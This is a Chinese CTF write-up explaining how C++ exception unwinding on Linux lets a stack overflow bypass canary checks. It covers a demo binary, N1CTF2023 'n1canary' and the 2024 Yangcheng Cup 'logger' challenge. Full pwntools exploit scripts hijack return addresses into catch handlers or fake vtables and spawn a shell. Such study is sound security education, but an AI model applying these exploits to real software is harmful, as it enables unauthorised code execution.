一
原理探究
C++异常处理
本节内容针对 Linux 下的 C++ 异常处理机制，重点在于研究如何在异常处理流程中利用溢出漏洞，所以不对异常处理及unwind的过程做详细分析，只做简单介绍。
异常机制中主要的三个关键字：throw抛出异常，try包含异常模块,catch捕捉抛出的异常，它们一起构成了由“抛出->捕捉->回退”等步骤组成的整套异常处理机制。
当一个异常被抛出时，就会立即引发 C++ 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch，该异常就会沿着函数的调用链继续往上抛，在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块，直到走完整个调用链。如果最终还是没能找到相应的 catch，那么程序会调用std::terminate()，这个函数默认是把程序abort
其中，从程序抛出异常开始，沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退stack unwind
回到对 C++ 异常处理机制进行利用的话题，下面开始调试一个 demo 来加深对异常处理机制的理解，目的是去验证下列两个想法的可行性：
1.通过篡改 rbp 可以实现类似栈迁移的效果，来控制程序执行流 ROP
2.unwind会检测在调用链上的函数里是否有catch handler，要有能捕捉对应类型异常的 catch 块；通过劫持 ret 可以执行到目标函数的 catch 代码块，但是前提是要需要拥有合法的 rbp
demo 的源码如下：
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>void backdoor()
{
try
{
printf("We have never called this backdoor!");
}
catch (const char *s)
{
printf("[!] Backdoor has catched the exception: %s\n", s);
system("/bin/sh");
}
}
class x
{
public:
char buf[0x10];
x(void)
{
// printf("x:x() called!\n");
}
~x(void)
{
// printf("x:~x() called!\n");
}
};
void input()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] input() return.\n");
}
int main()
{
try
{
input();
printf("--------------------------------------\n");
throw 1;
}
catch (int x)
{
printf("[-] Int: %d\n", x);
}
catch (const char *s)
{
printf("[-] String: %s\n", s);
}
printf("[+] main() return.\n");
return 0;
}
调试分析第一种利用方式
上述源码编译出来的可执行文件的保护如下，开了 canary 保护。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
输入点 buf 距离 rbp 的距离是 0x30
所以测试输入长度分别为 0x31 和 0x39 的 PoC，发现会报不同的 crash，合理推测栈上的数据（例如 ret, rbp）会影响异常处理的流程。
ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
能发现无论怎么样都不会输出程序里写在input()函数里的[+] input() return.
这是因为异常处理时从__cxa_throw()开始，之后进行unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分，会沿着函数调用链往回找能处理对应异常的最近的函数，然后回退至此函数执行其 catch 块后跟着往下运行，途径的函数的剩余部分也不会再执行，自然不会执行到出现异常的函数的 throw 后面的语句，更不会执行到这些函数的 ret。
这里就能抛出一个思考了：对 canary 的检测一般在最后的函数返回处，那么在执行异常处理流程时不就能跳过
stack_check_fail()这个调用了嘛？
下面利用poc1 = padding + '\x01'覆盖 rbp 值，可以将断点断在call _read指令后面一点的位置，这样就能断下来了，在这里观察到 rbp 的低一字节已被成功篡改为'\x01'
继续运行至程序报错的位置，最后在0x401506这条 ret 指令处出了问题，是错误的返回地址导致的，记录下这个指令地址，后续可以将断点打在这里，观察是否能成功控制程序流。
根据这个指令的地址，可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令，所以可以确定是在执行 main 的 handler 时 crash，那么上述报错出现的原因其实就很明显了，是因为最后执行的leave; ret使得 ret 的地址变成了[rbp+8]，导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移，所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链。
接下来尝试劫持程序去执行 GOT 表里的函数：
.got.plt:0000000000404040 off_404040 dq offset fflush ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050 dq offset puts ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058 dq offset __cxa_end_catch
利用poc2 = padding + p64(0x404050-0x8)，运行到上述断点处发现成功调用到了puts函数。
证明第一种利用方式可行
关于第一种利用方式的后续思考
但这种利用方式只适用于 “通过将old_rbp存储于栈中来保留现场” 的函数调用约定，以及需要出现异常的函数的caller function要存在处理对应异常的代码块，否则也会走到terminate。
为了调试上述说法，对 demo 作了修改，主要改动如下：
void test()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] test() return.\n");
}void input()
{
test();
printf("[+] input() return.\n");
}
这回同样是使用poc2，但 crash 了。
对 demo 重新修改的部分如下：
void input()
{
try
{
test();
}
catch (const char *s)
{
printf("[-] String(From input): %s\n", s);
}
printf("[+] input() return.\n");
}
复现成功，这次是在 input 的 handler 里被劫持，而非在 main 了。
但是噢，如果是通过打返回地址劫持到另外一个函数的异常处理模块，是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的，但这也是后话了。
调试分析第二种利用方式
由于调用链__cxa_throw->_Unwind_RaiseException，在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查，它会在链上的函数里搜索catch handler，若所有函数中都无对应类型的 catch 块，就会调用__teminate()终止进程。
利用poc3 = poc2 + 'b'*8调试一下后面的 unwind 函数的过程，一直运行至_Unwind_RaiseException+463发生了 crash，合理猜测是在这调用的函数里作的检测，所有可以观察下此时传参的情况，下断方式是b *(&_Unwind_RaiseException+463)
这个地方循环执行了几次
第一次，rdx -> 0x4000000000000000
第二次，rdx -> 0x4013a7 (input()+162)
第三次，rdx -> 0x6262626262626262 ('bbbbbbbb')
再琢磨下异常处理机制，就能够发现另外一个利用点，就是假如函数A内有能够处理对应异常的 catch 块，是否可以通过影响运行时栈的函数调用链，即更改某 callee function ret 地址，从而能够成功执行到函数A的 handler 呢。
下面尝试通过直接劫持input()函数的 ret, 可以发现在源码中有定义backdoor()函数，但程序中并没有一处存在对该后门函数的引用，利用poc4 = poc2 + p64(0x401292+1)尝试触发后门。
这里将返回地址填充成了
backdoor()函数里try 代码块里的地址，它是一个范围，经测试能够成功利用的是一个左开右不确定的区间（x）
.text:0000000000401283 lea rax, format ; "We have never called this backdoor!"
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看见程序执行了后门函数的异常处理模块，复现成功，成功执行到了一个从未引用过的函数，而且程序从始至终都是开了 canary 保护的，这直接造成的栈溢出却能绕过stack_check_fail()这个函数对栈进行检测。
exp 如下：
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x401371') # call _read
# b __cxa_throw@plt
# b *0x401506 # handler ret
# b *(&_Unwind_RaiseException+463) # check ret
test = 'a'*5
padding = 'a'*0x30
# poc = padding + '\n'
poc1 = padding + '\x01'
poc2 = padding + p64(0x404050-0x8)
poc3 = poc2 + 'b'*8
poc4 = poc2 + p64(0x401292+1)
p.sendafter('input:', poc4)
exp()
p.interactive()
二
N1CTF2023 - n1canary
简要分析
程序保护如下：
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这是一道非常具有迷惑性的题，大致意思是：出题人自行实现了一个 canary，并将它布置在系统 canary 上面0x10的地方，但所有 canary 相关的检测其实都是绕不过的，漏洞点是launch()函数处的栈溢出，触发点是raise()函数处的异常抛出，异常未能正确被捕获并处理，最终是能够避开对栈上 canary 的验证并利用析构函数 ROP。
程序流分析
main()函数逻辑如下：
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF v6[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
init_canary(); // canary init
std::make_unique<BOFApp>((__int64)v6); // *v6 -> vtable for BOFApp+16 (0x4ed510)
v4 = std::unique_ptr<BOFApp>::operator->((__int64)v6); // v4 = v6
(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4); // call 0x403552 (BOFApp::launch())
std::unique_ptr<BOFApp>::~unique_ptr((__int64)v6);
return 0;
}
初始化sys_canary并读取用户输入的64个字节作为user_canary，用来生成自定义 canary，第一个输入点的user_canary是往.bss段上写的。
__int64 init_canary(void)
{
if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
raise("canary init error");
puts("To increase entropy, give me your canary");
return readall<unsigned long long [8]>(&user_canary);
}__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
这段代码实现了BOFApp类的构造函数，首先调用基类构造函数实现了BOFApp对象基类部分的初始化，然后将BOFApp对象的虚函数表指针设置为off_4ED510，使得对象能够正确调用其虚函数。通过调试发现，赋值语句执行前this -> vtable for UnsafeApp+16，执行后this -> vtable for BOFApp+16。
void __fastcall BOFApp::BOFApp(BOFApp *this)
{
UnsafeApp::UnsafeApp(this);
*(_QWORD *)this = off_4ED510;
}
创建一个BOFApp类的实例，然后调用BOFApp的构造函数初始化对象，跟进后面那个函数发现进行了*a1 = v1的操作。
__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
BOFApp *v1; // rbx v1 = (BOFApp *)operator new(8uLL);
*(_QWORD *)v1 = 0LL;
BOFApp::BOFApp(v1);
std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
return a1;
}
执行完std::make_unique<BOFApp>((__int64)v6)后，栈变量v6被重新赋值：
于是接下来调用的是BOFApp::launch()函数：
pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 <vtable for BOFApp+32>: 0x0000000000403552 0x0000000000000000
在 IDA 里计算也是一样的，执行(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4);语句，即call *(0x4ED510+0x10)。
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最后是对象的析构函数，里面要重点关注的函数的路径是std::unique_ptr<BOFApp>::~unique_ptr()-->std::default_delete<BOFApp>::operator()(BOFApp*)，这里存在函数指针调用，这意味着只需要控制a2的值就能控制程序流。
__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
__int64 result; // rax result = a2;
if ( a2 )
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
return result;
}
通过逆向分析和调试可知参数a2与前面提到的栈变量v6有关，所以将断点打在0x40340D，正常输入，调试一下看传参情况。
查看虚函数表指针+0x8位置处指向什么函数，0x4038b8
再把断点打在0x403909，看到这里确实调用到了上述函数
漏洞点分析&跟踪调用链
第二个输入点存在栈溢出，调用链是BOFApp::launch(void)-->ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&)-->BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
__int64 a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6)
{
return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}
下列是 GPT 的解释：
1.
_isoc23_scanf根据格式字符串读取输入。格式字符串"%[^\n]"表示读取所有非换行符的字符，直到遇到换行符为止。这样写其实就相当于 c 的 gets() 了。2.输入存储：将读取的输入存储在
a2指向的缓冲区中。3.
a3, a4, a5, a6是额外参数，可能用于其他目的。
观察下这个_isoc23_scanf()函数，断点打在0x403547处观察数据写入的位置。
计算输入点与目标指针的距离为0x70
所以可以利用上述栈溢出去修改自定义 canary，来触发异常，栈回退避开对自定义 canary 和系统 canary 的检测，最后调用到析构函数。
这样下来，思路就理清楚了，在user_canary处伪造虚函数表指向后门函数，然后利用溢出修改存储在栈上的BOFApp对象的虚函数表指针，即变量v6，在此过程中自定义 canary 一定会被篡改，程序将会在raise()函数里抛出异常，这里是漏洞的触发点，调用链如下。
BOFApp::launch(void)--
>ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&)--
>ProtectedBuffer<64ul>::check(void)-->raise(char const*)
bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
__int64 v1; // rbx
bool result; // al v1 = *(_QWORD *)(a1 + 0x48);
result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
if ( result )
raise("*** stack smash detected ***");
return result;
}
void __fastcall __noreturn raise(const char *a1)
{
std::runtime_error *exception; // rbx
puts(a1);
exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
std::runtime_error::runtime_error(exception, a1);
_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
异常处理流程最终调用到的析构函数处存在指针调用，但此时指针已被我们提前利用溢出数据控好了，造成任意代码执行。
可以直接动调一下raise()函数内部，然后再看看函数返回哪里呢。可以在一些地方下断点调试看看，比如0x403291处的抛出异常，0x403432处的调用析构函数，最后在0x4038fc出现 crash，原因是不合法的RAX，它的值是BOFApp类对象指针v6，这是可以利用溢出写到那的，所以是可控的，继续往下看后面的汇编，会发现只要控了RAX就能够控到RDX，在最后的call rdx;处便能造成任意代码执行。
由于user_canary可控，可以尝试在这里伪造虚函数表并将指针劫持到这，这是构造好的 exp 运行到此处时的参数情况。
成功执行到后门函数：
关于本题的其他思考
另外提一嘴，上面提到了避开 canary 检测执行到析构函数，笔者是这样理解的：在程序正常运行时应该是在执行完launch()函数后执行析构函数，但在raise()函数里却有异常被抛出，而且回溯了整条函数调用链，包括raise()函数本身，都没看见有能处理此异常的catch代码块，合理猜测最终将会由 handler 执行析构函数，在此过程中自然也绕过了程序自身的__stack_chk_fail_local检测。
其实在创建对象的函数里，创建对象时会有构造函数，函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时，若在当前函数内不能正常捕捉异常，那这个函数剩下的部分便不会再被执行到了，自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的，达到释放资源的目的，这种情况下应该是在 handler 中调用到析构函数的
漏洞利用
最终的 exp 如下，还有一点要注意的是，中途覆盖到的函数返回地址是不能乱填的，具体原因详见前面的 “原理探究”，与unwind()函数里的检测有关，所以 ret 填回原来的0x403407。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './n1canary'
p = process(pwnfile)def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x403547')
# b *0x40340D # Destructor
# b *0x403909 # pointer call
# b *0x403291 # raise->throw
# b *0x403432 # <main+146> call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)
payload = 'a'*(0x70-0x8)
payload += p64(0x403407) # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
# p.sendlineafter(' to pwn :)\n', payload)
exp()
p.interactive()
成功劫持到后门，后门命令执行了/readflag：
三
2024年”羊城杯“粤港澳大湾区网络安全大赛 - logger
来自出题人的碎碎念
笔者作为 “2024羊城杯” PWN 方向出题人，自然要顺带唠一唠这道自己出的题目，虽谈不上巧妙（水平有限），但也有不少师傅反馈说受益匪浅。
这道题从整体上来看算是中等难度，属于一道机制题，若是将上面的知识都了解透彻后，会做得很顺畅。
由于从现在网上公开的文章里，能看到很多师傅都对这道题做了详细的分析，所以笔者主要讲点有意思的地方，不至于让读了文章的师傅空手而归，打算结合源码（上帝视角 XD）和逆向分析的效果对这道题进行剖析。
题目分析&漏洞分析
首先这道题的创新点在于对抛出异常语句的篡改，最终通过溢出漏洞劫持到有后门的处理块 getshell。
细心的师傅可能一下就能发现，trace功能的实现里存在数组oob漏洞，毕竟这个<=怎么看都显得十分拙劣。
那上述越界能起到什么作用呢？byte_404020[]数据的大小是 0x80，若能写入九次（0~8） 0x10 大小的数据，恰好能改掉下面src[]数组，这个数组存放了一个字符串Buffer Overflow。
结合源码来看，这个字符串的作用是：在检测到溢出的时抛出Buffer Overflow字符串，而正常来说是由下面的catch块来处理这个异常，它接受的是const char *s类型的异常。
warn函数里存在大量的溢出写，紧随其后的是检查read的返回值（实际写入的字节数），那其实就在通过对v0的检测来判断是否有栈溢出了，所以在检测到存在溢出风险时会执行if模块，抛出异常。
然后被抛出的异常字符串就会被上面提到的catch块处理，效果是输出报错信息[-] An exception of type String variable "Buffer Overflow" was caught...
但是假如说若能够劫持到别的catch块进行处理呢？笔者预置了一个后门函数，其catch (const char *s)也能够捕获字符串类型的异常，劫持到这里即可，源码如下：
后门的try块地址是0x401BC2，在下面有对_system的调用。
比较有意思的是 IDA 似乎对异常处理catch模块的解析有问题，可见对strHandler()函数的反编译效果如下，可以对比上面提供的源码。
所以解题时只能够查看对_system函数的交叉引用，然后定位到具体位置后看汇编进行分析了。
漏洞利用
梳理完毕，现在思路明确了，先是通过数组越界漏洞劫持字符串为/bin/sh\x00，然后通过溢出漏洞劫持到后门catch进行异常处理，即0x401BC2+1的位置，最终执行到system(/bin/sh)。
exp 如下：
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './pwn'
p = process(pwnfile)
# p = remote('', )def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('chocie:', str(index))
def trace(content='a', judge='n'):
menu(1)
p.sendlineafter('here: ', content)
p.sendlineafter('records? ', judge)
def exp():
# debug('b *$rebase(0x26A4)') # call _read
# debug('b *$rebase(0x2582)')
# b __cxa_throw@plt
# payload = 'a'
for i in range(7):
trace()
trace('a'*0x10,'n')
payload = '/bin/sh;'
trace(payload)
menu(2)
payload = 'a'*0x70
payload += p64(0X404300)
payload += p64(0x401BC2+1)
p.sendafter('Type your message here plz: ', payload)
exp()
p.interactive()
看雪ID：ve1kcon
https://bbs.kanxue.com/user-home-977497.htm
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